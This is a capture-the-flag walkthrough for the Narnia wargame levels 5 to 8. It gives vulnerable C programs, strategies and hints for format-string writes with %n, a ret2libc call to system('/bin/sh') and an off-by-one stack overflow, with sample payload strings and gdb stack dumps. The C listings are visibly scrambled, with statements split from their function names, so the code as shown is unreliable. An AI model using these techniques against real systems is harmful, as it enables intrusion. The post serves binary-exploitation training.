Level 5
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
(buffer, sizeof buffer, argv[1]);
snprintf[sizeof (buffer) - 1] = 0;
buffer("Change i's value from 1 -> 500. ");
printf
if(i==500){
("GOOD\n");
printf("/bin/sh");
system}
("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf("i = %d (%p)\n", i, &i);
printf return 0;
}
General strategy
Reading the source code tells us that we don’t need to supply our own shellcode or pop a shell by ourselves. If we can change the value of i
to 500, the script opens a shell for us!
What’s the gotcha? It’s the fact that we are no longer in Buffer Overflow land. See line 10, where buffer
is manually terminated with 0
and line 11, instead of the usual insecure strcpy
, we have a new mate onboard called snprintf
.
This is the first level in Narnia where we’re exploiting a format string vulnerability.
If you need to brush up on format string vulnerabilities, I’d highly recommend this paper. I have read dozens of tutorials, blog posts, and papers on the subject, and that one is by far the most readable and comprehensive. If you’re short on time, read at least the first 4 chapters.
Hint #1
The %n
specifier for a format string writes the size of the bytes already printed into the pointed location. In this case, we supply the format string to snprintf
, which means we can write arbitrary data to any address we want.
Read chapters 3 and 4 for how to use %n
.
Hint #2
The direct access parameter (chapter 4.3) looks useful. It allows us to specify which parameter we want %n
to write to.
Hint #3
%300u
or %300x
creates a string that is 300 characters long. So with a payload like \xef\xbe\xad\xde%6x%1$n
, you’re writing 10
to the first parameter’s location, which is 0xdeadbeef
.
Level 6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
("movl %esp,%eax\n\t"
__asm__"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
(environ[i], '\0', strlen(environ[i]));
memset/* clear argz */
for(i=3; argv[i] != NULL; i++)
(argv[i], '\0', strlen(argv[i]));
memset
(b1,argv[1]);
strcpy(b2,argv[2]);
strcpy//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
(-1);
exit(b1);
fp
(1);
exit}
General strategy
The script clears out all the environment variables and any command line arguments after the first two, so it doesn’t look like we’ll be storing any shellcode there. But we have fp
pointing to puts
and executing b1
, which we do control via argv[1]
. This means if we can get fp
pointing to a more convenient function, we’re done. Turns out, stdlib
(hence system
included) is already included for us, so we can easily point to system
’s address!
This approach of returning to a libc
function to exploit it is called a ret2libc.
If the script looks confusing, I suggest playing around with it in gdb so you can see what is actually happening. Try r AAAAAAAABBBB CCCCCCCCDDDD
.
Hint #1
After trying r AAAAAAAABBBB CCCCCCCCDDDD
, you’ll notice that now the program is trying to execute BBBB
with DDDD
as its argument. What would be a convenient function for us to replace it with?
Hint #2
Maybe system
and /bin/sh
as its argument?
Hint #3
p system
in gdb to get system
’s address.
Level 7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
(buffer, 0, sizeof(buffer));
memset("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
printf
= goodfunction;
ptrf ("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf
("I guess you want to come to the hackedfunction...\n");
printf(2);
sleep= goodfunction;
ptrf
(buffer, sizeof buffer, format);
snprintf
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
(stderr, "Usage: %s <buffer>\n", argv[0]);
fprintf(-1);
exit}
(vuln(argv[1]));
exit}
int goodfunction(){
("Welcome to the goodfunction, but i said the Hackedfunction..\n");
printf(stdout);
fflush
return 0;
}
int hackedfunction(){
("Way to go!!!!");
printf(stdout);
fflush("/bin/sh");
system
return 0;
}
General Strategy
We see no strcpy
or friends anywhere, but we have a snprintf
where we have total control over the format string, and a hackedfunction
, which conveniently opens a shell for us. So we can guess that we’re going to exploit a format string vulnerability to execute hackedfunction
.
Seeing as ptrf
gets pointed to goodfunction
, and gets executed right after our format string vulnerability, we have the opportunity to point ptrf
to a more convenient function instead.
Hint #1
hackedfunction
is looking like a prime candidate for ptrf
to point to.
Hint #2
To get the address of ptrf
that we’re overwriting, just execute narnia7
, and it will very happily print it out. Or just inspect it in gdb
.
Hint #3
In level 5, we used %496x
to write the number 500. The script also prints out the address of hackedfunction
, which we can convert to decimal to get the target value to write with.
Hint #4
Remember the general payload format looks like <address to overwrite>%<target value or address>x%n
. For an example in python, \x10\xd5\xff\xff%134514468x%n
.
Level 8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
(bok, '\0', sizeof(bok));
memsetfor(i=0; blah[i] != '\0'; i++)
[i]=blah[i];
bok
("%s\n",bok);
printf}
int main(int argc, char **argv){
if(argc > 1)
(argv[1]);
funcelse
("%s argument\n", argv[0]);
printf
return 0;
}
General strategy
If you skipped directly to this level in this article, here is the paper again that I’d fully recommend for an comprehensive introduction to format string vulnerabilities.
It looks like we’re copying argv[1]
to bok
without bounds checking, so we’re
dealing with a buffer overflow here. But when we try something like r $(python -c 'print "A" * 30')
in gdb, eip
is not overwriten to be AAAA
. What’s going on here?
A very useful break point to have is the printf
function in func
. Set a
break point there and examine the stack with x/20x $esp
each time. If you can see how the stack is structured at this break point, you’ll understand why we can’t seem to overflow the buffer by more than 1 byte.
After that, it’s just a matter of putting shellcode in an environment variable and returning to it.
Hint #1 (Why can’t we overflow by more than one byte?)
Let’s examine the stack at the printf
break point. The payload here is “A” * 20.
gdb-peda$ x/20wx $esp
0xffffd578: 0xffffd57c 0x41414141 0x41414141 0x41414141
0xffffd588: 0x41414141 0x41414141 0xffffd79d 0x00000000
0xffffd598: 0xffffd5a8 0x08048517 0xffffd79d 0x00000000
0xffffd5a8: 0x00000000 0xf7e05e91 0x00000002 0xffffd644
0xffffd5b8: 0xffffd650 0xffffd5d4 0x00000001 0x00000000
And let’s see what the address right after our payload is pointing to.
gdb-peda$ x/10wx 0xffffd79d
0xffffd79d: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd7ad: 0x41414141 0x5f434c00 0x3d4c4c41 0x555f6e65
0xffffd7bd: 0x54552e53 0x00382d46
That address is pointing to our payload itself. When we start to overwrite that adddress, it stops pointing to our payload, so the for
loop can no longer continue copying our payload to bok
. This is why it stops overflowing after just one byte.
How do we make sure we can continue overflowing the buffer and thus get control of the eip? We do that by overwriting that address by itself to preserve it. For example, we’d want "A" * 20 + "\x9d\xd7\xff\xff"
here.
Hint #2 (Why does that address keep changing?)
Notice that we have two copies of the pointer address on the stack. The first one is the one we’re trying to overwrite (and thus preserve), and the second one is always the correct one.
Say we start adding the original address one byte at a time:
gdb-peda$ r $(python -c 'print "A"*20 + "\x9d"')
<skipped>
gdb-peda$ x/20wx $esp
0xffffd578: 0xffffd57c 0x41414141 0x41414141 0x41414141
0xffffd588: 0x41414141 0x41414141 0xffff4c9d 0x00000000
0xffffd598: 0xffffd5a8 0x08048517 0xffffd79c 0x00000000
0xffffd5a8: 0x00000000 0xf7e05e91 0x00000002 0xffffd644
0xffffd5b8: 0xffffd650 0xffffd5d4 0x00000001 0x00000000
Why is it that the correct address has decreased by one byte to 0xffffd79c
from 0xffffd79d
?
It’s because we just added one byte to our payload and the stack had to allocate one more byte for it! And remember the stack grows backwards, which means the address decreases instead of increases.
This means that for each byte that we add to our payload, we need to decrease our target address by one byte. For example:
gdb-peda$ r $(python -c 'print "A"*20 + "\x9c"')
<skipped>
gdb-peda$ x/20wx $esp
0xffffd578: 0xffffd57c 0x41414141 0x41414141 0x41414141
0xffffd588: 0x41414141 0x41414141 0xffffd79c 0x00000000
0xffffd598: 0xffffd5a8 0x08048517 0xffffd79c 0x00000000
0xffffd5a8: 0x00000000 0xf7e05e91 0x00000002 0xffffd644
0xffffd5b8: 0xffffd650 0xffffd5d4 0x00000001 0x00000000
Now we have correctly “preserved” one byte of the address!
Tip
If you find this level confusing and a lot more complex than previous ones, review the stack and the x86 calling convention again. Once you’re familiar with how the stack functions, solving this one will be a lot more intuitive.
Conclusion
Congratulations on completing Narnia! In my opinion, it is not the easiest entry into binary exploitation. If you completed every level but still don’t fully comprehend how your solution worked, I suggest trying Protostar for some gentler practice. If you’re ready for more, try Behemoth next!
I’ll cover both of them in the future, with Behemoth being the next one!
If you like my approach to these Narnia wargames, maybe you’d like my fun & interactive cybersec courses too :)